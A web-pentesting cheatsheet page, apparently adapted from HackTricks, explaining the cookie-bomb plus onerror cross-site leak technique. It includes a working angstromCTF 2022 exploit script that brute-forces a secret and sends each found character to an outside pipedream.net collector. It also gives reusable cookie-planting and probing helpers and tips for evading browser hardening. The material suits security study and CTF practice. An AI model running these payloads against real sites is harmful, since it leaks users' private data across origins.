daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

cookie-bomb-onerror-xs-leak.md (12418B)


      1 ---
      2 title: "Cookie Bomb + Onerror XS Leak"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/xs-search/cookie-bomb-%2B-onerror-xs-leak.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Cookie Bomb + Onerror XS Leak
     14 
     15 This technique combines:
     16 - Cookie bombing: stuffing the victim’s browser with many/large cookies for the target origin so that subsequent requests hit server/request limits (request header size, URL size in redirects, etc.).
     17 - Error-event oracle: probing a cross-origin endpoint with a `<script>` (or other subresource) and distinguishing states with `onload` vs `onerror`.
     18 
     19 High level idea
     20 - Find a target endpoint whose behavior differs for two states you want to test (e.g., search “hit” vs “miss”).
     21 - Ensure the “hit” path will trigger a heavy redirect chain or long URL while the “miss” path stays short. Inflate request headers using many cookies so that only the “hit” path causes the server to fail with an HTTP error (e.g., 431/414/400). The error flips the onerror event and becomes an oracle for XS-Search.
     22 
     23 When does this work
     24 - You can cause the victim browser to send cookies to the target (e.g., cookies are SameSite=None or you can set them in a first-party context via a popup `window.open`).
     25 - There is an app feature you can abuse to set arbitrary cookies (e.g., “save preference” endpoints that turn controlled input names/values into Set-Cookie) or to make post-auth redirects that incorporate attacker-controlled data into the URL.
     26 - The server reacts differently on the two states and, with inflated headers/URL, one state crosses a limit and returns an error response that triggers onerror.
     27 
     28 Note on server errors used as the oracle
     29 - 431 Request Header Fields Too Large is commonly returned when cookies inflate request headers; 414 URI Too Long or a server-specific 400 may be returned for long request targets. Any of these result in a failed subresource load and fire onerror. See [MDN’s 431 entry](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431) for typical causes like excessive cookies.<sup>[[1]](#references)</sup>
     30 
     31 <details>
     32 <summary>Practical example (angstromCTF 2022)</summary>
     33 
     34 The following script (from a public writeup) abuses a feature that lets the attacker insert arbitrary cookies, then loads a cross-origin search endpoint as a script. When the query is correct, the server performs a redirect that, together with the cookie bloat, exceeds server limits and returns an error status, so script.onerror fires; otherwise nothing happens.<sup>[[2]](#references)</sup>
     35 
     36 ```html
     37 <>'";
     38 <form action="https://sustenance.web.actf.co/s" method="POST">
     39   <input id="f" /><input name="search" value="a" />
     40 </form>
     41 <script>
     42   const $ = document.querySelector.bind(document)
     43   const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
     44   let i = 0
     45   const stuff = async (len = 3500) => {
     46     let name = Math.random()
     47     $("form").target = name
     48     let w = window.open("", name)
     49     $("#f").value = "_".repeat(len)
     50     $("#f").name = i++
     51     $("form").submit()
     52     await sleep(100)
     53   }
     54   const isError = async (url) => {
     55     return new Promise((r) => {
     56       let script = document.createElement("script")
     57       script.src = url
     58       script.onload = () => r(false)
     59       script.onerror = () => r(true)
     60       document.head.appendChild(script)
     61     })
     62   }
     63   const search = (query) => {
     64     return isError(
     65       "https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
     66     )
     67   }
     68   const alphabet =
     69     "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
     70   const url = "//en4u1nbmyeahu.x.pipedream.net/"
     71   let known = "actf{"
     72   window.onload = async () => {
     73     navigator.sendBeacon(url + "?load")
     74     await Promise.all([stuff(), stuff(), stuff(), stuff()])
     75     await stuff(1600)
     76     navigator.sendBeacon(url + "?go")
     77     while (true) {
     78       for (let c of alphabet) {
     79         let query = known + c
     80         if (await search(query)) {
     81           navigator.sendBeacon(url, query)
     82           known += c
     83           break
     84         }
     85       }
     86     }
     87   }
     88 </script>
     89 ```
     90 
     91 </details>
     92 
     93 Why the popup (`window.open`)?
     94 - Modern browsers increasingly block third-party cookies. Opening a top-level window to the target makes cookies first‑party so Set-Cookie responses from the target will stick, enabling the cookie-bomb step even with third‑party cookie restrictions.
     95 
     96 2024–2025 notes on cookie availability
     97 - Chrome’s Tracking Protection rollout (January 2024) is already blocking third-party cookies for a random cohort and is slated to expand to the entire user base once the UK CMA signs off, so assume any victim can abruptly lose 3P cookies. Automate the fallback: detect when your script probe fails without ever hitting the target and transparently pivot to the popup/first-party flow. Safari and Firefox already block most third-party cookies by default and CHIPS/partitioned cookies mean each top-level site now has its own jar.<sup>[[3]](#references)</sup>
     98 - Use a first‑party cookie planting flow (`window.open` + auto-submit to a cookie-setting endpoint) and then probe with a subresource that only succeeds when those cookies are sent. If third‑party cookies are blocked, move the probe into a same-site context (e.g., run the oracle in the popup via a same-site gadget and exfiltrate the boolean with `postMessage` or a beacon to your server), or enroll the victim origin in Chrome’s deprecation trial if you legitimately control it.
     99 
    100 <details>
    101 <summary>Tracking-Protection-safe first-party planting helper</summary>
    102 
    103 When you need to stuff dozens of cookies from a cross-site context, stage a temporary top-level window and fire a series of oversized form submissions into the vulnerable Set-Cookie endpoint:
    104 ```javascript
    105 async function plantFirstPartyCookies(endpoint, fields) {
    106   for (let i = 0; i < 5; i++) {
    107     const name = crypto.randomUUID();
    108     const form = Object.assign(document.createElement('form'), {action:endpoint, method:'POST', target:name});
    109     Object.entries(fields).forEach(([k, v]) => {
    110       const input = document.createElement('input');
    111       input.name = k;
    112       input.value = v + '_'.repeat(400 + 120 * i);
    113       form.appendChild(input);
    114     });
    115     document.body.appendChild(form);
    116     window.open('about:blank', name, 'noopener');
    117     form.submit();
    118     await new Promise(r => setTimeout(r, 120));
    119     form.remove();
    120   }
    121 }
    122 ```
    123 Call it right before you begin probing so every oracle run starts with a freshly inflated cookie jar.
    124 
    125 </details>
    126 
    127 Generic probing helper
    128 If you already have a way to set many cookies on the target origin (first-party), you can reuse this minimal oracle against any endpoint whose success/failure leads to different network outcomes (status/MIME/redirect):
    129 
    130 ```javascript
    131 function probeError(url) {
    132   return new Promise((resolve) => {
    133     const s = document.createElement('script');
    134     s.src = url;
    135     s.onload = () => resolve(false);  // loaded successfully
    136     s.onerror = () => resolve(true);  // failed (e.g., 4xx/5xx, wrong MIME, blocked)
    137     document.head.appendChild(s);
    138   });
    139 }
    140 ```
    141 
    142 Alternative tag oracle (stylesheet)
    143 ```javascript
    144 function probeCSS(url) {
    145   return new Promise((resolve) => {
    146     const l = document.createElement('link');
    147     l.rel = 'stylesheet';
    148     l.href = url;
    149     l.onload = () => resolve(false);
    150     l.onerror = () => resolve(true);
    151     document.head.appendChild(l);
    152   });
    153 }
    154 ```
    155 
    156 Advanced: de Bruijn–based cookie packing (CTF-proven)
    157 - When the app lets you control large cookie values, you can pack guesses efficiently by appending a de Bruijn sequence to each probe. This keeps per‑probe overhead small while ensuring the heavy branch is consistently heavier only for the right prefix. Example generator for |Σ| symbols of length n (fits in a cookie value):
    158 ```javascript
    159 const ALPH = '_{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    160 function deBruijn(k, n, alphabet=ALPH){
    161   const a = Array(k * n).fill(0), seq=[];
    162   (function db(t,p){
    163     if(t>n){ if(n%p===0) for(let j=1;j<=p;j++) seq.push(a[j]); }
    164     else { a[t]=a[t-p]; db(t+1,p); for(let j=a[t-p]+1;j<k;j++){ a[t]=j; db(t+1,t);} }
    165   })(1,1);
    166   return seq.map(i=>alphabet[i]).join('');
    167 }
    168 ```
    169 - Idea in practice: set multiple cookies whose values are prefix + deBruijn(k,n). Only when the tested prefix is correct does the server take the heavy path (e.g., extra redirect reflecting the long cookie or URL), which, combined with the cookie bloat, crosses limits and flips onerror. See a LA CTF 2024 public solver using this approach.<sup>[[4]](#references)</sup>
    170 
    171 Tips to build the oracle
    172 - Force the “positive” state to be heavier: chain an extra redirect only when the predicate is true, or make the redirect URL reflect unbounded user input so it grows with the guessed prefix.
    173 - Inflate headers: repeat cookie bombing until a consistent error is observed on the “heavy” path. Servers commonly cap header size and will fail sooner when many cookies are present.
    174 - Stabilize: fire multiple parallel cookie set operations and probe repeatedly to average out timing and caching noise.
    175 - Bust caches and avoid pooling artifacts: add a random `#fragment` or `?r=` to probe URLs, and prefer distinct window names when using `window.open` loops.
    176 - Alternate subresources: if `<script>` is filtered, try `<link rel=stylesheet>` or `<img>`. The onload/onerror boolean is the oracle; content never needs to be parsed.
    177 
    178 Common header/URL limits (useful thresholds)
    179 - Reverse proxies/CDNs and servers enforce different caps. As of October 2025, Cloudflare documents 128 KB total for request headers (and 16 KB URL) on the edge, so you may need more/larger cookies when targets sit behind it. Other stacks (e.g., Apache via LimitRequestFieldSize) are often closer to ~8 KB per header line and will hit errors earlier. Adjust bomb size accordingly (see [Cloudflare’s documented limit](https://developers.cloudflare.com/fundamentals/reference/connection-limits/)).<sup>[[5]](#references)</sup>
    180 
    181 Browser hardening watchlist (2025+)
    182 - Firefox 139/ESR 128.11 (May 2025) tightened script tag load/error accounting for cross-origin resources (CVE-2025-5266). On patched clients the `onerror` signal for certain redirected responses is suppressed, so diversify the oracle (parallel `<link rel=stylesheet>`, `<img>`, or `fetch` with mismatched MIME) and fingerprint the victim UA before assuming the boolean still fires.<sup>[[6]](#references)</sup>
    183 - Expect enterprise Chromium builds with Tracking Protection or Fetch Metadata policies to intermittently strip cookies or rewrite redirects. Detect these cases by probing a short endpoint first; when it fails, automatically pivot to running the entire attack inside the popup and relaying bits through `postMessage`/`BroadcastChannel`.
    184 
    185 Related XS-Search tricks
    186 - URL length based oracles (no cookies needed) can be combined or used instead when you can force a very long request target:
    187 
    188 [Url Max Length Client Side](/hacktricks/pentesting-web/xs-search/url-max-length-client-side)
    189 
    190 Notes
    191 - This class of attacks is discussed broadly as “Error Events” XS-Leaks.<sup>[[7]](#references)</sup> The cookie-bomb step is just a convenient way to push only one branch over server limits, producing a reliable boolean oracle.
    192 
    193 ## References
    194 
    195 - [1] [MDN: 431 Request Header Fields Too Large](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431)
    196 - [2] [angstromCTF 2022 writeup - Sustenance (Huli)](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)
    197 - [3] [Chrome Tracking Protection rollout details](https://blog.google/products/chrome/privacy-sandbox-tracking-protection/)
    198 - [4] [LA CTF 2024 writeup note showing a de Bruijn cookie-bomb oracle](https://gist.github.com/arkark/5787676037003362131f30ca7c753627)
    199 - [5] [Cloudflare edge limits (URLs 16 KB, request headers 128 KB)](https://developers.cloudflare.com/fundamentals/reference/connection-limits/)
    200 - [6] [Mozilla MFSA 2025-44 (CVE-2025-5266) tightening script tag onerror behavior](https://www.mozilla.org/en-US/security/advisories/mfsa2025-44/)
    201 - [7] [XS-Leaks Wiki: Error Events](https://xsleaks.dev/docs/attacks/error-events/)